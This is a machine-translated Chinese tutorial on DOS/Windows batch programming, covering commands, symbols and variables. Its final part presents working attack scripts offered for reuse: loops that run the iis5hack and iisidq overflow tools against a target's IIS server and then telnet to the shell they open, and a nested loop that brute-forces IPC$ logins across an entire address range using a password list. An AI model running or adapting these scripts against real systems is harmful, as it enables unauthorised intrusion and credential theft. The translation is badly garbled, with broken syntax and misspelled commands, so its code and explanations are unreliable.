Batch processing Learning Tutorials _dos/bat

Part I: Special commands for batch processing

A batch file is a series of commands that are set up in a certain order as an executable text file with the extension bat. These commands are collectively referred to as batch commands, and I would like to introduce you to the order of the batch process.

1. REM

REM is an annotation command is generally used to annotate the program, the content of the command will not be displayed and executed when the program is executed. Cases:
REM What you see now is the annotation, and this sentence will not be executed. What is explained in a later example is that REM is placed behind Rem. Attention, please.

2, ECHO

Echo is a echo command the main parameters are off and on, and the echo message is typically used to display a specific information. Cases:
Echo off
Rem above represents turn off echo without displaying the commands that are executed
Echo is the message.
Rem above represents the column character "This is the message"
Execution results:
C:\>echo. BAT
This is the news.

3, GOTO

Goto is the meaning of jump. Allow ": XXX" to construct a label in batch processing and then use goto: Label directly to perform the order after marking. Cases
: LABEL
REM is the label named label.
DIR C:\
DIR D:\
GOTO LABEL
REM above the program Jump label label to continue execution.

4, call

The call command can invoke another batch during batch execution, and then continue with the original batch when another batch finishes executing. Cases:
Batch processing 2. The bat contents are as follows:
ECHO, this is the 2 content.
Batch processing 1. The bat contents are as follows:
ECHO, this is 1 content.
Call 2.BAT
The contents of ECHO 1 and 2 are all displayed complete
The results of the implementation are as follows:
C:\>1.bat
This is 1 content.
That's 2 of the stuff.
The contents of 1 and 2 show complete

5, PAUSE

PAUSE stops the execution of system commands and displays the following content. Cases:
C:\> PAUSE
Please press any key to continue ...

6, IF

IF condition to judge the statement, the syntax format is as follows:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
Description
[NOT] Returns the returned result as the "if not" meaning.
ERRORLEVEL is the exit value returned after the command execution completes
The number exit value range 0~255. The order of the values should be large and small. If the value returned is greater than or equal to the specified value, the condition is set.
String1==string2 string1 and string2 are both character data, the uppercase and lowercase characters will be treated differently, and the equals number in this condition must be 2 (absolutely equal), and the condition should be followed by the command
EXIST filename is the meaning of the existence of a file or directory.
IF ERRORLEVEL This statement must be placed behind a command. The return value of the command is judged by the if errorlevel after the command is executed.
Cases:

1. IF [NOT] ERRORLEVEL number command
Determine the return value after the test command has been executed.
echo off
Dir z:
REM If the exit code is 1 (unsuccessful) jump to Heading 1 for execution
IF errorlevel 1 goto 1
REM If exit code is 0 (successful) jump to heading 0 to execute
IF errorlevel 0 goto 0
: 0
echo Command executed successfully!
Rem program execution jump to title exit exit
Goto exit
: 1
echo command failed to execute!
Rem program execution jump to title exit exit
Goto exit
: Exit
Rem here is the exit of the program
2. IF string1==string2 Command
Check the value of the current variable to make a judgment
ECHO off
IF%1==2 Goto No
Echo variable Equal!
Goto exit
: No
echo variables are not equal
Goto exit
: Exit
So you can see the effect c:\>test.bat number

3, IF [NOT] EXIST filename command
Find specific files to make judgments
echo off
IF not EXIST Autoexec.bat Goto 1
echo File exists successfully!
Goto exit
: 1
echo file does not exist failure!
Goto exit
: Exit
This batch can be placed in C and D respectively to perform a look at the effect.
7, for
For this command is special is a command to loop through the command, and for the loop inside can also apply for in the loop. In this article we introduce the basic usage of the cycle of no use, and then to explain the applied loop. The order for in the batch is as follows:
For [%%c] in (set) do [command] [arguments]
At the command line, the commands are as follows:
For [%c] in (set) do [command] [arguments]
Common parameters:
/L The set represents a sequence of numbers in increments from start to finish. Therefore, (1,1,5) will produce a sequence of 1 2 3 4 5, (5,-1,1) will produce a sequence (5 4 3 2 1).
/d If the set contains wildcard characters, specifies that the directory name is matched instead of the filename.

/F reads the data from the specified file as a variable
Eol=c-refers to the end of a line comment character (just one)
Skip=n-refers to the number of rows ignored at the start of the file.
Delims=xxx-refers to the delimiter set. This replaces the default delimiter set for spaces and tabs.
Tokens=x,y,m-n-refers to which symbol of each line is passed to the for itself for each iteration. This results in an assignment of the extra variable names. The m-n format is a range. Specify MTH by nth symbol. If the last character in the symbol string is asterisk, the extra variable is allocated and accepts the reserved text of the line after the last symbol resolution.
USEBACKQ-Specifies that the new syntax is used in the following cases: A string that executes a post quote as a command and a single quote character as a literal string command and allows the file name to be extended in filenameset with double quotes.
Here's an example:
For/f "eol=; tokens=2,3* delims=, "%i in (myfile.txt) do @echo%i%j
Each row in the myfile.txt is parsed, the rows preceded by semicolons are ignored, and the second and third symbols in each row are passed to the for program body, with commas and/or space delimited symbols. Notice that this for-body statement refers to%i to get the second symbol, referencing the%j to get the third symbol, and referencing%k to get all the remaining symbols after the third symbol. For file names with spaces, you need to enclose the file name in double quotes. In order to use double quotes in this way, you also need to use the USEBACKQ option, otherwise the double quotes are interpreted as being used to define a string to parse.
%i is specifically described in the For statement,%j and%k are specifically described through the tokens= option. You can specify up to 26 symbols by tokens= line, as long as you do not attempt to describe a variable above the letter ' z ' or ' z '. Keep in mind that the for variable is case-only and is generic, and that no more than 52 are in use at the same time.
You can also use for/f parsing logic on adjacent strings, by enclosing the filenameset between parentheses in single quotes. In this way, the string is treated as a single input line in a file. Finally, you can use the for/f command to parse the output of the command. The method is to turn the filenameset between parentheses into a backslash string. The string is treated as a command line and passed to a child CMD. EXE, its output is captured in memory and used as a file analysis. Therefore, the following example:
for/f "Usebackq delims=="%i in (' Set ') do @echo%i
The name of the environment variable in the current environment is enumerated.
The following is a simple example that will illustrate the difference between the parameter/L and the absence of parameters:
Delete file 1. TXT 2.TXT 3.TXT 4.TXT 5.TXT
Cases:
ECHO off
FOR/L%%f in (1,1,5) Todo DEL%%f.txt
Or
For%%f in (1,2,3,4,5) Todo DEL%%f.txt
The results of the above 2 commands are the same as follows:
C:\>del 1.TXT
C:\>del 2.TXT
C:\>del 3.TXT
C:\>del 4.TXT
C:\>del 5.TXT

8, SETLOCAL
Start localized operations for environment changes in batch files. After the execution of SETLOCAL
The environmental changes made are limited to batch files. To restore the original settings, you must
Line endlocal. When the end of the batch file is reached, the batch file is terminated with each
The SETLOCAL command that has not yet been executed will have an implied endlocal to be
Perform. Cases:
@ECHO off
SET Path/* View environment variable PATH
PAUSE
SETLOCAL
Set path=e:\tools/* Reset environment variable PATH
SET PATH
PAUSE
Endlocal
SET PATH
From the example above we can see that the environment variable path 1th time is displayed as the system default path. is set to E:\TOOLS and displayed as E:\TOOLS but after endlocal we can see that he was restored to the system's default path. But this setting works only when the batch is running. The environment variable path is restored when the batch process completes.

9, SHIFT
The SHIFT command allows the commands on the command to use more than 10 replaceable parameters (%0~%9) above:
ECHO off
ECHO%1%2%3%5%6%7%8%9
SHIFT
ECHO%1%2%3%5%6%7%8%9
SHIFT
ECHO%1%2%3%5%6%7%8%9
The results of the implementation are as follows:
C::\>shift. BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
The above is based on WIN2000 9 batch processing commands.

Part II: Special symbols and batch processing

Some symbols are not allowed at the command line, but some have special meanings.
1, symbol (@)
@ is meant to turn off the echo of the current line in batch processing. We know from the above that the command echo off can turn off the entire batch of commands to echo but not to display the echo off command. Now we're going to add the @ so echo off command before this command is turned back on @ so that all the commands don't come back.
2, symbol (>)
> means to pass and overwrite. His role is to pass the Run-time echo results to the following range (the file is also the default system console) for example:
The contents of file 1.txt are:
1+1
Use the command c:\>dir *.txt >1.txt
The contents of 1.txt are as follows
The volume in drive C does not have a label.
The serial number of the volume is 301a-1508
C:\ The directory
2003-03-11 14:04 1,005 Frunlog. Txt
2003-04-04 16:38 18,598,494 Log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 Aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 Files 18,630,070 bytes
0 Directory 1,191,542,784 Free bytes
> overwrites the results of the command execution to the original file contents.
The program will not have any echoes when passed to the console (note: This echo is not the same concept as echo off.) echo off is the echo of the input command, where the Echo is an example of the echo in the program's execution:
C:\>dir *.txt >nul
The program will not have any display and will not produce any traces.
3, symbol (>>)
The role of symbol >> is similar to symbol >, but their difference is that >> is passed and appended to the end of the file >> can also be passed back to the console (usage ibid.) Example:
The same as in file 1.txt:
1+1
Use the command c:\>dir *.txt >>1.txt
The contents of 1.txt are as follows
1+1
The volume in drive C does not have a label.
The serial number of the volume is 301a-1508
C:\ The directory
2003-03-11 14:04 1,005 Frunlog. Txt
2003-04-04 16:38 18,598,494 Log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 Aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 Files 18,630,070 bytes
0 Directory 1,191,542,784 Free bytes
>> the results of the command execution are appended to the original file contents.
4, Symbol (|)
| is a pipe transfer command means to pass the result of the previous command to the next command to process. Cases:
C:\>dir C:\|find "1508"
The serial number of the volume is 301a-1508
The above command means to find all the C:\ and find 1508 strings. Find's usage Please check it by yourself
This is how I automatically format a platter without using format's automatic formatting parameters.
Echo Y|fornat A:/s/q/v:system
Anyone who has used the format command knows that the format has an interactive process in which the user enters Y to determine whether the current command is being executed. Add echo y to the command and use the pipe transfer character | To pass the echo's result y to format for the purpose of manually entering Y (this command is dangerous, be careful when testing)
5. Symbol (^)
^ is a leading character for special symbols >, <, &. In the order he removed the special kinetic energy of the above 3 symbols only as a sign instead of using their special meaning. Cases:
C:\>echo Test ^> 1.txt
Test > 1.txt
As you can see from the above, the test is not written to the file 1.txt but the test >1.txt is displayed as a string. This symbol works well when you build batches remotely.
6, Symbol (&)
The & symbol allows you to use more than 2 different commands on a single line, and the execution of the 2nd command will not be affected when the first command fails. Cases:
c:\> dir z:\ &dir y:\ &dir c:\
The above command will continuously show Z:y: C: The contents of the disk ignore the existence of the letter.
7, symbol (&&)
The && symbol also allows you to use more than 2 different commands on a single line, and subsequent commands will no longer be executed when the first command fails. Cases:
c:\> dir z:\ &&dir y:\ &&dir c:\
The above commands will prompt you to check for the existence of Z: Disk if present, execute, and stop all subsequent commands if they do not exist
8. Symbol ("")
The symbol allows spaces to be included in the string. To enter a special directory you can use the following method Example:
C:\&GT;CD "Program Files"
C:\&GT;CD progra~1
C:\&GT;CD pro*
All of the above methods can be entered into the Program Files directory
9, symbol (,)
, the symbol is equivalent to a space. It can be used in some special cases instead of spaces. Cases:
C:\>dir,c:\
10. Symbol (;)
; symbols can be used for different purposes when the command is the same; isolated but performed unchanged. If an error occurs during execution, only the error report is returned but the program continues to execute. Cases:
DIR c:\;D: \; E:\f:\
The above command is equivalent to
DIR C:\
DIR D:\
DIR e:\
DIR f:\
Of course there are some special symbols, but their use of the area is very small no longer here to explain.

Part III: Batch processing and variables

The appropriate reference variables in the batch process will make your program more widely applied. A total of 10 variables can be processed per batch from%0~%9. Where%0 is used by default to the file name of the batch. %0 cannot be replaced by% 1 unless you use the shift command. Example of a reference to the shift command if you add a%0 to the front of%1, the result is as follows:
C::\>shift. BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT. BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
How the system distinguishes each variable, the system distinguishes between the rules of the variable and the space in the middle of the string, that is, whenever a space is found, the character preceding the space is treated as a variable and the character following the space is used as another variable. If your variable is a long directory name with a space in it you need to circle it with the quotes in the last section of special symbol 8. Cases:
The batch content is:
ECHO%1
ECHO%2
ECHO%3
Enter command:
C:\>test "Program Files" program Files
Program Files
Program
Files
More than 10 variables that may be used concurrently in a complex batch will be conflicting with the system's rules. So how is this problem solved? There is also a variable in the system called an environment variable (using the SET command to view the current system's environment variables) such as the current system directory is%windir% or%systemroot%. When more than 10 parameters are used at the same time, we can save some variables that are called in later programs as environment variables. Specific usage such as SET a=%1 so we named a new environment variable A in the call to variable A to%a% this call, the environment variable is not affected by the shift command. If you want to change an environment variable, you need to reset it to change it. Of course, you can also transfer between variables and variables to achieve the goal. Let's take a look at an example of the batch processing as follows:
ECHO off
SET pass=%1
SHIFT
SET pass1=%1
SHIFT
ECHO%pass%%pass1%%1%2%3%5%6%7%8%9
SHIFT
ECHO%pass%%pass1%%9
The transfer of SET pass=%pass1% variable
SET pass1=%9
SHIFT
ECHO%pass%%pass1%%9
Using commands: C:\>test A B 3 4 5 6 7 8 9 K L
A B 3 4 5 6 7 8 9 K Note: This line shows 11 variables
A B l after using 3 shift,%9 becomes L.
The result of the transfer of the B L variable

Part IV: Complete case

These are some of the uses of batch processing. Now we combine these usages to analyze some of the batches currently posted online to see how they work. Here I will enumerate three examples for detailed analysis, in order to keep the program complete my comments will be appended to/*.
Example One
This example is a batch that uses Iis5hack.exe to overflow a host with a. Printer vulnerability. The use of the program has Iis5hack.exe and the system with the Telnet.exe. The iis5hack command format is:
Iis5hack < target ip> < target port > < target version > < overflow connection port > target version 0-9 these 10 numbers correspond to the different language versions and the SP's system versions respectively, and the batch process that we compile uses the format of the command <iis.bat Target IP (start version number) > start version number is optional. The procedure is as follows.
@echo off/* Turn off command echo
If "%1%" = "goto help/*" Determine if%1 is null,%1 is the destination IP
If "%2%" = = "1" Goto 1/* Determine if%2 is 1, 1 is a jump flag 1
If "%2%" = = "2" Goto 2/*%2 is the start version number, if not set then
If "%2%" = = "3" GOTO 3/* If present, start execution from match
If "%2%" = = "4" Goto 4
If "%2%" = = "5" Goto 5
If "%2%" = = "6" Goto 6
If "%2%" = = "7" Goto 7
If "%2%" = = "8" Goto 8
If not EXIST iis5hack.exe goto File/* No iis5hack.exe is found to execute the contents of the Flag file section
Ping%1-n 1 | Find "Received = 1"/*ping target 1 times, from the results found Received = 1
if errorlevel 1 goto error/* If the return code is 1 then the error segment is executed (code 1 is not found 0 is found and executed successfully)
Iis5hack%1 80 9 88 | Find "good"/* start overflow target port 80 system code 9 overflow after connection port 88 found the string "good" in execution results (only string good if overflow succeeds)
If not errorlevel 1 goto telnet/* If no error code 1 (overflow succeeds) executes the contents of the Telnet segment.
echo OS type 9 failed! /Otherwise show this sentence
: 8/* The following code content referenced above
Iis5hack%1 80 8 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS type 8 failed!
: 7
Iis5hack%1 80 7 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS type 7 failed!
: 6
Iis5hack%1 80 6 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS type 6 failed!
: 5
Iis5hack%1 80 5 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS type 5 failed!
: 4
Iis5hack%1 80 4 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS Type 4 failed!
: 3
Iis5hack%1 80 3 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS Type 3 failed!
: 2
Iis5hack%1 80 2 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS type 2 failed!
: 1
Iis5hack%1 80 1 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS Type 1 failed!
: 0
Iis5hack%1 80 0 88 | Find "Good"
If not errorlevel 1 goto telnet
echo OS type 0 failed!
Goto Error
: Telnet
Telnet%1 88/* 88 port to start connecting to destination IP
Goto Exit/* Link interrupted after jump exit segment
: The error/*error section displays help information after errors
Echo may not be able to connect to the network or the other side to fix the vulnerability! Please try the manual once in the following format!
echo iis5hack [Destination IP] [Web port] [System Type] [open port]
ECHO Chinese: 0
ECHO Chinese +sp1:1
ECHO English: 2
ECHO English +sp1:3
ECHO Japanese: 4
ECHO Japanese +sp1:5
ECHO Korean: 6
ECHO Korean +sp1:7
ECHO Mexican: 8
ECHO Mexican Language +sp1:9
Goto Exit/* Jump exit Segment
: File/*file section shows information not found in files
echo file Iis5hack.exe not found! Program Abort Run!
Goto Exit/* Jump exit Segment
: The Help/*help section shows the use format for this batch
echo This procedure uses the following:
echo IIS [Destination IP]
echo IIS [Destination IP] [start number 9-0]
: Exit/*exit Program exit
This batch basically does not have any loops just to walk down the road. So the code is relatively long difficult!
Case II
This example is a batch of overflow for a machine with a IDQ vulnerability using Iisidq.exe. The program used has the Iisidq.exe and the system to bring the program Telnet.exe. The use of Iisidq.exe is as follows:
Run Parameters: Operating system Type Destination address Web port 1 Overflow listening Port < input command 1>
In which, if the input command parameter is not entered, then the default is: "cmd.exe".
The code range for the operating system type type is 0-14. Our batch process uses the command format for the <idq.bat target ip> program as follows:
@echo off//* Same Example one
If not EXIST iisidq.exe goto file/* Same Example one
If%1 = = "" Goto error/* Same example one
Ping%1-n 1 | Find "Received = 1"/* Same Example one
if errorlevel 1 goto error1/* Same Example one
Set b=%1/* Creates an environment variable B that passes the contents of the variable%1 to environment variable B. The content of variable B will be the target IP later
Set a=0/* Creates an environment variable A and specifies that environment variable a is 0. A counter is used for a loop that uses the entire batch process.
: No/*no section begins
If%a%==0 set d=0/* If environment variable A=0 creates environment variable D to set environment variable d=0.
If%a%==1 set d=1/* environment variable D is actually the operating system type code, using counters to control its
If%a%==2 set d=2/* change.
If%a%==3 set d=3
If%a%==4 set d=4
If%a%==5 set d=5
If%a%==6 set d=6
If%a%==7 set d=7
If%a%==9 set d=9
If%a%==10 set d=13
If%a%==11 set d=14
Goto 0/* Variable transfer completed, go to flag 0 run
: 1
Echo is performing the%d%! Cannot connect to target%b%! Trying to connect please wait ...
: 0/* Flag 0 start
IISIDQ%d%%b% 1 |find "good"/* Send overflow command in format and find string good in result (sending code succeeds to have string good)
if errorlevel 1 goto 1/* If no good string is not sent to jump
/* Turn flag 1 continue to try to send
Ping 127.0.0.1-n 8 >nul/*ping itself 8 times the equivalent delay 8 seconds does not show hold
/* Line Result
Echo is performing the%d%! /* Reporting operating system types that are overflowing
Telnet%b% 99/* Connection Overflow port
Echo. /* Displays a blank line
If%d%==14 goto error1/* If the operating system type is 14 then jump Error1 (Recycle exit)
If%d%==13 set a=11/* Start attaching a counter to the operating system code again
If%d%==9 set a=10
If%d%==7 set a=9
If%d%==6 set a=7
If%d%==5 set a=6
If%d%==4 set a=5
If%d%==3 set a=4
If%d%==2 set a=3
If%d%==1 set a=2
If%d%==0 set a=1
Goto No/* Attached value complete jump no paragraph execution
: File//Below are the Help tips after an error
Echo IIsidq.exe didn't find it! Put the file in the same directory as this file!
Goto exit
: Error
echo Error! Destination IP not recognized! Please use the following format to connect!
echo idq [Destination IP]
Goto exit
: Error1
The echo connection did not succeed! Perhaps the target machine has patched up the vulnerability or network failure!
echo Please try it manually in the following format!
echo IISIDQ [Target type] [destination IP] [target port] [connection mode] [overflow port]
echo telnet [Destination IP] [overflow port]
: Exit/* Export of the entire program
This batch process is mastered by the overall cycle of the batching unit, mastering the Counter section.
Example Three
FOR/L%%a in (0,1,255) does for/l%%b in (0,1,255) does for/l%%c in (1,1,254) do for/f ' tokens=1,2* '%%e in (userpass.txt ) do net use \\%1.%%a.%%b.%%c\ipc$%%e/u:%%f
The above command is 1 commands. You can see that the command uses 4 for to apply. The usage is: c:\>test. BAT 218 When you enter 218 back, the command will be the 1th for the initial value of 0 for%%a then continue to take the 2nd for the initial value of 0 for%%b continue to take the 3rd for the initial value of 1 for the%%c the last for is the first paragraph in the userpass.txt as a password% E The second segment of the character as the username%%f the last command (here I bring the values above, set the password to 123 user name is ABC)
NET usr \\218.0.0.1\ipc$ 123/u:abc
Of course, some of the above examples may be said to be too simple and inflexible. I have made some changes to this example (complete file see CD Ipc.bat) by interested friends can see for themselves. The modified program can be flexible to find the range where you specify start to end or you specify start to maximum IP. Of course the function can also be strengthened, as to how far can be strengthened to become a new tool that is your business.
This is a large number of cyclic action is mainly IP replacement trouble so there is no way. This batch processing I will not write the annotation, everybody good reference above content you will soon understand this batch processing. See understand not to say simple Oh! At the very least this is a batch that can detect and save weak passwords without using any third-party tools!! The simple change of the lethality is still very large. All of these batches are tested under Win2000 and XP. The biggest advantage is that there is only one batch file and absolutely no false positives. The disadvantage is too long


PS: Learn to program before the best not to learn this, although he does not belong to programming, but with the idea of programming.